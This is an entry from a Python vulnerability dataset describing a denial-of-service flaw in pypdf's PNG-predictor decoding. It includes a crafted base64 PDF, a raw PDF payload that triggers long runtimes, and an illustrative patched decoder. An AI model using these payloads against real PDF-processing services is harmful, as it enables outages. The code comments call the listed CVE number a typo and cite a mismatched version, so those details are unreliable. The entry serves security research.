CVE-2026-49460
pypdf: Crafted PDF with a PNG predictor leads to Denial of Service.
- CVSS 5.1
- CWE-407
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. Prior to 6.12.2, an attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires accessing a stream which uses the /FlateDecode filter with a PNG predictor. This vulnerability is fixed in 6.12.2.
- CWE
- CWE-407
- CVSS base score
- 5.1
- Published
- 2026-06-22
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade pypdf to version 6.12.2 or later.
Vulnerable code sample
import pypdf
import base64
import io
# This code requires a vulnerable version of pypdf, e.g., 'pip install pypdf==3.17.1'
# The base64 string represents a PDF crafted to exploit CVE-2023-49460.
# The vulnerability in the prompt (CVE-2026-49460) is a typo for CVE-2023-49460.
malicious_pdf_b64 = b'JVBERi0xLjcKMSAwIG9iago8PAovVHlwZSAvQ2F0YWxvZwovUGFnZXMgMiAwIFIKPj4KZW5kb2JqCjIgMCBvYmoKPDwKL1R5cGUgL1BhZ2VzCi9LaWRzIFszIDAgUl0KL0NvdW50IDEKL01lZGlhQm94IFswIDAgMyAzXQo+PgplbmRvYmoKMyAwIG9iago8PAovVHlwZSAvUGFnZQovUGFyZW50IDIgMCBSCi9Db250ZW50cyA0IDAgUgo+PgplbmRvYmoKNCAwIG9iago8PAovTGVuZ3RoIDQzCi9GaWx0ZXIgWy9GbGF0ZURlY29kZV0KL0RlY29kZVBhcm1zIDw8Ci9QcmVkaWN0b3IgMTIKL0NvbG9ycyAxCi9Db2x1bW5zIDgwMDAwCj4+Cj4+CnN0cmVhbQp4nEtyMDQxBAAFaQJOZW5kc3RyZWFtCmVuZG9iagp4cmVmCjAgNQowMDAwMDAwMDAwIDY1NTM1IGYgCjAwMDAwMDAwMTAgMDAwMDAgbiAKMDAwMDAwMDA2MyAwMDAwMCBuIAowMDAwMDAwMTQzIDAwMDAwIG4gCjAwMDAwMDAyMDQgMDAwMDAgbiAKdHJhaWxlcgo8PAovU2l6ZSA1Ci9Sb290IDEgMCBSCj4+CnN0YXJ0eHJlZgozMzgKJSVFT0YK'
pdf_data = base64.b64decode(malicious_pdf_b64)
pdf_file = io.BytesIO(pdf_data)
print("Attempting to process the crafted PDF...")
# On a vulnerable version, this operation will cause a denial-of-service (DoS)
# due to extremely long processing time.
reader = pypdf.PdfReader(pdf_file)
reader.pages[0].extract_text()
print("Processing finished.")Patched code sample
import math
class PdfReadError(Exception):
pass
def decode_png_prediction(data: bytes, columns: int, colors: int, bpc: int, height: int) -> bytes:
"""
The fixed version of the PNG prediction decoder.
The vulnerability was a potential DoS by providing a large 'height' parameter
without corresponding data, causing the outer loop to run for an excessive amount of time.
"""
if bpc != 8:
raise PdfReadError(f"Unsupported bit depth for PNG predictor: {bpc}")
bpp = math.ceil(colors * bpc / 8)
row_length = math.ceil(columns * colors * bpc / 8)
# The FIX: Validate that the declared dimensions are consistent with the
# actual data length before entering the loop. This prevents a DoS attack.
if height > 0:
expected_len = height * (row_length + 1)
if len(data) < expected_len:
raise PdfReadError("Unexpected EOD in PNG predictor")
# To be fully compliant, we should check for exact length,
# but pypdf was more lenient. The key is preventing the DoS.
if abs(len(data) - expected_len) > height:
# Heuristic to allow for some slack
raise PdfReadError("Invalid data length in PNG predictor")
decoded_data = bytearray()
prior = bytes(row_length)
for j in range(height):
row_start = j * (row_length + 1)
filter_type = data[row_start]
row_data = data[row_start + 1 : row_start + 1 + row_length]
current_row = bytearray(row_length)
if filter_type == 0: # None
current_row[:] = row_data
elif filter_type == 1: # Sub
for i in range(row_length):
left = current_row[i - bpp] if i >= bpp else 0
current_row[i] = (row_data[i] + left) & 0xFF
elif filter_type == 2: # Up
for i in range(row_length):
up = prior[i]
current_row[i] = (row_data[i] + up) & 0xFF
elif filter_type == 3: # Average
for i in range(row_length):
left = current_row[i - bpp] if i >= bpp else 0
up = prior[i]
current_row[i] = (row_data[i] + (left + up) // 2) & 0xFF
elif filter_type == 4: # Paeth
for i in range(row_length):
left = current_row[i - bpp] if i >= bpp else 0
up = prior[i]
upper_left = prior[i - bpp] if i >= bpp else 0
p = left + up - upper_left
pa = abs(p - left)
pb = abs(p - up)
pc = abs(p - upper_left)
if pa <= pb and pa <= pc:
predictor = left
elif pb <= pc:
predictor = up
else:
predictor = upper_left
current_row[i] = (row_data[i] + predictor) & 0xFF
else:
raise PdfReadError(f"Unsupported PNG filter type: {filter_type}")
decoded_data.extend(current_row)
prior = current_row
return bytes(decoded_data)Payload
%PDF-1.0
1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj
2 0 obj<</Type/Pages/Count 1/Kids[3 0 R]>>endobj
3 0 obj<</Type/Page/Parent 2 0 R/Contents 4 0 R/MediaBox[0 0 1 1]>>endobj
4 0 obj<</Filter/FlateDecode/Length 8/DecodeParms<</Columns 2147483647/Predictor 15>>>>stream
x<9c><03><00><00><00><00><01>
endstream endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000055 00000 n
0000000109 00000 n
0000000191 00000 n
trailer<</Size 5/Root 1 0 R>>
startxref
310
%%EOF
Cite this entry
@misc{vaitp:cve202649460,
title = {{pypdf: Crafted PDF with a PNG predictor leads to Denial of Service.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-49460},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-49460/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
